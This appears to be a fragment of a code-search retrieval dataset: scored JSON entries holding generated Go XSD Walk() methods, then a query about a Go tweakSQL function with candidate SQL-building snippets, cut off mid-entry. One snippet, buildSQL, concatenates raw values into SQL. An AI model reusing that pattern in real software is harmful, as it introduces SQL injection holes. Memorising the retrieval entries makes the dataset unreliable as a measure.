xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "cfae988ab1ff241ca7012220ec56f330", "score": "0.5020225", "text": "func (me *XsdGoPkgHasElem_point_sizechoicegles_pipeline_settingsschema_PointSize_TxsdGlesPipelineSettingsChoicePointSize_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_point_sizechoicegles_pipeline_settingsschema_PointSize_TxsdGlesPipelineSettingsChoicePointSize_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.PointSize.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "b83bcc5e68ea82de2aeaf7be06adaa3b", "score": "0.49953696", "text": "func (me *XsdGoPkgHasElem_point_size_minchoicegles_pipeline_settingsschema_PointSizeMin_TxsdGlesPipelineSettingsChoicePointSizeMin_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_point_size_minchoicegles_pipeline_settingsschema_PointSizeMin_TxsdGlesPipelineSettingsChoicePointSizeMin_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.PointSizeMin.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "9331a3a50aa1ef8b212b93208011e718", "score": "0.49922827", "text": "func (me *XsdGoPkgHasElem_light_quadratic_attenuationchoicegles_pipeline_settingsschema_LightQuadraticAttenuation_TxsdGlesPipelineSettingsChoiceLightQuadraticAttenuation_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_light_quadratic_attenuationchoicegles_pipeline_settingsschema_LightQuadraticAttenuation_TxsdGlesPipelineSettingsChoiceLightQuadraticAttenuation_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LightQuadraticAttenuation.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "a3b0b8004ffb1ea9939d8757d10943c3", "score": "0.49624088", "text": "func (me *XsdGoPkgHasElem_logic_opchoicegles_pipeline_settingsschema_LogicOp_TxsdGlesPipelineSettingsChoiceLogicOp_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_logic_opchoicegles_pipeline_settingsschema_LogicOp_TxsdGlesPipelineSettingsChoiceLogicOp_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LogicOp.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "6313bf2b37b64c360396eb529b4352b2", "score": "0.4944672", "text": "func (me *XsdGoPkgHasElem_valuechoicetexture1Dchoicegl_pipeline_settingsschema_Value_TglSampler1D_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_valuechoicetexture1Dchoicegl_pipeline_settingsschema_Value_TglSampler1D_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.Value.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "0d8c4a3c94b68e33d79f35ae1b9e057a", "score": "0.49185702", "text": "func (me *XsdGoPkgHasElem_projection_matrixchoicegles_pipeline_settingsschema_ProjectionMatrix_TxsdGlesPipelineSettingsChoiceProjectionMatrix_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_projection_matrixchoicegles_pipeline_settingsschema_ProjectionMatrix_TxsdGlesPipelineSettingsChoiceProjectionMatrix_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.ProjectionMatrix.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "6024634b83b5d68acc35329ca558a417", "score": "0.49096408", "text": "func (me *XsdGoPkgHasElem_bool1x4choicecg_param_typeschema_Bool1X4_TcgBool1X4_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_bool1x4choicecg_param_typeschema_Bool1X4_TcgBool1X4_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "9b5cbcf3069b168ce57a3fbc4166b175", "score": "0.49083403", "text": "func (me *XsdGoPkgHasElem_point_distance_attenuationchoicegl_pipeline_settingsschema_PointDistanceAttenuation_TxsdGlPipelineSettingsChoicePointDistanceAttenuation_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_point_distance_attenuationchoicegl_pipeline_settingsschema_PointDistanceAttenuation_TxsdGlPipelineSettingsChoicePointDistanceAttenuation_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.PointDistanceAttenuation.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "c38e09ef679a19eee525f6b82f24e0d0", "score": "0.49076635", "text": "func (me *XsdGoPkgHasElem_point_size_minchoicegl_pipeline_settingsschema_PointSizeMin_TxsdGlPipelineSettingsChoicePointSizeMin_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_point_size_minchoicegl_pipeline_settingsschema_PointSizeMin_TxsdGlPipelineSettingsChoicePointSizeMin_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.PointSizeMin.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "a5ee16a75f9ad038b724f50efd0757a3", "score": "0.48899668", "text": "func (me *XsdGoPkgHasElem_light_model_color_controlchoicegl_pipeline_settingsschema_LightModelColorControl_TxsdGlPipelineSettingsChoiceLightModelColorControl_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_light_model_color_controlchoicegl_pipeline_settingsschema_LightModelColorControl_TxsdGlPipelineSettingsChoiceLightModelColorControl_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LightModelColorControl.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "ca696fe7537dcef4b8d1fbd0d8437e89", "score": "0.48790255", "text": "func (me *XsdGoPkgHasElem_light_spot_cutoffchoicegles_pipeline_settingsschema_LightSpotCutoff_TxsdGlesPipelineSettingsChoiceLightSpotCutoff_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_light_spot_cutoffchoicegles_pipeline_settingsschema_LightSpotCutoff_TxsdGlesPipelineSettingsChoiceLightSpotCutoff_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LightSpotCutoff.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "ba5eca05141be50892bec8740a9006b7", "score": "0.48767537", "text": "func (me *XsdGoPkgHasElem_blend_equationchoicegl_pipeline_settingsschema_BlendEquation_TxsdGlPipelineSettingsChoiceBlendEquation_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_blend_equationchoicegl_pipeline_settingsschema_BlendEquation_TxsdGlPipelineSettingsChoiceBlendEquation_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.BlendEquation.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "ed853f8fe1ea8d2ebaf0ec1438eaa43c", "score": "0.48684758", "text": "func (me *XsdGoPkgHasElem_scissorchoicegl_pipeline_settingsschema_Scissor_TxsdGlPipelineSettingsChoiceScissor_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_scissorchoicegl_pipeline_settingsschema_Scissor_TxsdGlPipelineSettingsChoiceScissor_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.Scissor.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "83baa1dbcfb165d5dbfb2be86e8fd2af", "score": "0.48667476", "text": "func (me *XsdGoPkgHasElem_texture1Dchoicegl_pipeline_settingsschema_Texture1D_TxsdGlPipelineSettingsChoiceTexture1D_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_texture1Dchoicegl_pipeline_settingsschema_Texture1D_TxsdGlPipelineSettingsChoiceTexture1D_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.Texture1D.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "344b65a91366a7399247290a2117edd1", "score": "0.48498273", "text": "func (me *XsdGoPkgHasElem_texture2D_enablechoicegl_pipeline_settingsschema_Texture2DEnable_TxsdGlPipelineSettingsChoiceTexture2DEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_texture2D_enablechoicegl_pipeline_settingsschema_Texture2DEnable_TxsdGlPipelineSettingsChoiceTexture2DEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.Texture2DEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "3643c4d21b334cc79ed76a5a6b915617", "score": "0.4849051", "text": "func (me *TxsdGlesPipelineSettingsChoiceClipPlane) Walk() (err error) {\r\n\tif fn := WalkHandlers.TxsdGlesPipelineSettingsChoiceClipPlane; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "e7f2c1177c11c5418f44a1655b9d01e0", "score": "0.48396605", "text": "func (me *XsdGoPkgHasElem_point_sizechoicegl_pipeline_settingsschema_PointSize_TxsdGlPipelineSettingsChoicePointSize_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_point_sizechoicegl_pipeline_settingsschema_PointSize_TxsdGlPipelineSettingsChoicePointSize_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.PointSize.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "eb90d028cd04011a2371420df6864680", "score": "0.4836104", "text": "func (me *TxsdGlesPipelineSettingsChoiceStencilOp) Walk() (err error) {\r\n\tif fn := WalkHandlers.TxsdGlesPipelineSettingsChoiceStencilOp; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_failsequencestencil_opchoicegles_pipeline_settingsschema_Fail_TxsdGlesPipelineSettingsChoiceStencilOpSequenceFail_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_zpasssequencestencil_opchoicegles_pipeline_settingsschema_Zpass_TxsdGlesPipelineSettingsChoiceStencilOpSequenceZpass_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_zfailsequencestencil_opchoicegles_pipeline_settingsschema_Zfail_TxsdGlesPipelineSettingsChoiceStencilOpSequenceZfail_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "5c14e8f1227500d70ca98d16c30a7863", "score": "0.48171082", "text": "func (me *XsdGoPkgHasElem_int1x4choicecg_param_typeschema_Int1X4_TcgInt1X4_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_int1x4choicecg_param_typeschema_Int1X4_TcgInt1X4_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "c14b7307712af02bfe2b004b30a4ef79", "score": "0.48017132", "text": "func (me *XsdGoPkgHasElem_bool3x4choicecg_param_typeschema_Bool3X4_TcgBool3X4_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_bool3x4choicecg_param_typeschema_Bool3X4_TcgBool3X4_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "f35945495cbb9769c2fcc1391d9eefd2", "score": "0.47954497", "text": "func (me *XsdGoPkgHasElem_light_spot_exponentchoicegles_pipeline_settingsschema_LightSpotExponent_TxsdGlesPipelineSettingsChoiceLightSpotExponent_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_light_spot_exponentchoicegles_pipeline_settingsschema_LightSpotExponent_TxsdGlesPipelineSettingsChoiceLightSpotExponent_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LightSpotExponent.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "34725ddfc05206fdd82159e87da17114", "score": "0.47832188", "text": "func (me *TxsdGlPipelineSettingsChoiceStencilOp) Walk() (err error) {\r\n\tif fn := WalkHandlers.TxsdGlPipelineSettingsChoiceStencilOp; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_failsequencestencil_opchoicegl_pipeline_settingsschema_Fail_TxsdGlPipelineSettingsChoiceStencilOpSequenceFail_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_zpasssequencestencil_opchoicegl_pipeline_settingsschema_Zpass_TxsdGlPipelineSettingsChoiceStencilOpSequenceZpass_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_zfailsequencestencil_opchoicegl_pipeline_settingsschema_Zfail_TxsdGlPipelineSettingsChoiceStencilOpSequenceZfail_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "a4ce27e8f0905ba9d1838abcaf973254", "score": "0.4779667", "text": "func (me *XsdGoPkgHasElem_line_widthchoicegl_pipeline_settingsschema_LineWidth_TxsdGlPipelineSettingsChoiceLineWidth_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_line_widthchoicegl_pipeline_settingsschema_LineWidth_TxsdGlPipelineSettingsChoiceLineWidth_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LineWidth.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" } ]
7672c7a6f104c05cb103b1402561d483
tweakSQL returns a SQL string appropriate for the database implementation given a SQL string appropriate for MySQL.
[ { "docid": "90c7bcbb4c0d702aeed12b044f3aa7fa", "score": "0.80279404", "text": "func (s *sqlStore) tweakSQL(mysql string) string {\n\tif s.driver == driverSqlite3 {\n\t\tstmt := strings.ReplaceAll(mysql, \"AUTO_INCREMENT\", \"AUTOINCREMENT\")\n\t\tstmt = strings.ReplaceAll(stmt, \"INSERT IGNORE\", \"INSERT OR IGNORE\")\n\t\tstmt = strings.ReplaceAll(stmt, \"CONCAT('%',?,'%')\", \"'%'||?||'%'\")\n\t\tstmt = strings.ReplaceAll(stmt, \"CONCAT('%',LOWER(?),'%')\", \"'%'||LOWER(?)||'%'\")\n\t\treturn stmt\n\t}\n\treturn mysql\n}", "title": "" } ]
[ { "docid": "136c57f97e50508077ece9d696d537f1", "score": "0.6234381", "text": "func getSQL(u Upserter) string {\n\tq := fmt.Sprintf(`SELECT * FROM %s %s`, u.Table(), where(u))\n\n\treturn q\n}", "title": "" }, { "docid": "6e14ef4adf82a39927017ca2716b149e", "score": "0.6052647", "text": "func FormatSQL(sql string) stringutil.StringerFunc {\n\treturn func() string {\n\t\tlength := len(sql)\n\t\tif uint64(length) > logutil.DefaultQueryLogMaxLen {\n\t\t\tsql = fmt.Sprintf(\"%.*q(len:%d)\", logutil.DefaultQueryLogMaxLen, sql, length)\n\t\t}\n\t\treturn QueryReplacer.Replace(sql)\n\t}\n}", "title": "" }, { "docid": "cf9c4d8bd0c6d33a177aa3d41121248a", "score": "0.60163915", "text": "func prepareSQL(old string) string {\n\ttmpCount := strings.Count(old, \"?\")\n\tfor m := 1; m <= tmpCount; m++ {\n\t\told = strings.Replace(old, \"?\", \"$\"+strconv.Itoa(m), 1)\n\t}\n\treturn old\n}", "title": "" }, { "docid": "68bf3e63308d2866f7125562cda141a1", "score": "0.5803038", "text": "func (stats *SQLQueryStats) RewrittenSql() string {\n\tif stats.sensitiveMode {\n\t\treturn \"\"\n\t}\n\treturn strings.Join(stats.rewrittenSqls, \"; \")\n}", "title": "" }, { "docid": "47afcd30bb8490dcd1f7b9a1dd187cb4", "score": "0.56872845", "text": "func (m *Manager) BuildSQL(data interface{}, tmpl string, qType driver.QuotingType) (qstr string) {\n\tcols := m.Col(data, qType)\n\tsz := len(cols)\n\n\thd := m.Holder(data)\n\tcom := make([]string, sz)\n\tfor k, v := range hd {\n\t\tcom[k] = cols[k] + \"=\" + v\n\t}\n\n\tif strings.Index(tmpl, \"%table%\") != -1 {\n\t\ttable := m.GetTable(reflect.Indirect(reflect.ValueOf(data)).Type())\n\t\ttmpl = strings.Replace(tmpl, \"%table%\", m.drv.Quote(table), -1)\n\t}\n\n\ttmpl = strings.Replace(tmpl, \"%cols%\", strings.Join(cols, \",\"), 1)\n\ttmpl = strings.Replace(tmpl, \"%vals%\", strings.Join(hd, \",\"), 1)\n\ttmpl = strings.Replace(tmpl, \"%combined%\", strings.Join(com, \",\"), 1)\n\treturn tmpl\n}", "title": "" }, { "docid": "be57998a6ab9cb1cb0af64ee3e7bb519", "score": "0.5625271", "text": "func buildSQL(table string, queries map[string]string) string {\n\tq := \"'\"\n\n\tvar a, b strings.Builder\n\ta.WriteString(\"SELECT * FROM \" + table)\n\n\tif len(queries) > 0 {\n\t\ta.WriteString(\" WHERE \")\n\t\tfor k, v := range queries {\n\t\t\ta.WriteString(k + q + v + q + \" AND \")\n\t\t}\n\t\tb.WriteString(strings.TrimRight(a.String(), \" AND \"))\n\t\treturn b.String()\n\t}\n\treturn a.String()\n}", "title": "" }, { "docid": "82db5f97b19c97d9d06e60758c4d389c", "score": "0.55909246", "text": "func checkSQL(sql string, format string) string {\n\tsql = strings.TrimSpace(sql)\n\tif !whiteSpaceRE.MatchString(sql) {\n\t\tsql = fmt.Sprintf(format, sql)\n\t}\n\treturn sql\n}", "title": "" }, { "docid": "c9f104515efbb18569caf51ae0a3d101", "score": "0.55594933", "text": "func SQL2fmt(sql string) (out string) {\n\tout = strings.ReplaceAll(sql, \"?\", \"\\\"%s\\\"\")\n\tout += \"\\n\"\n\treturn\n}", "title": "" }, { "docid": "b4f59670a4aaa0f5e690b72200843453", "score": "0.5443331", "text": "func 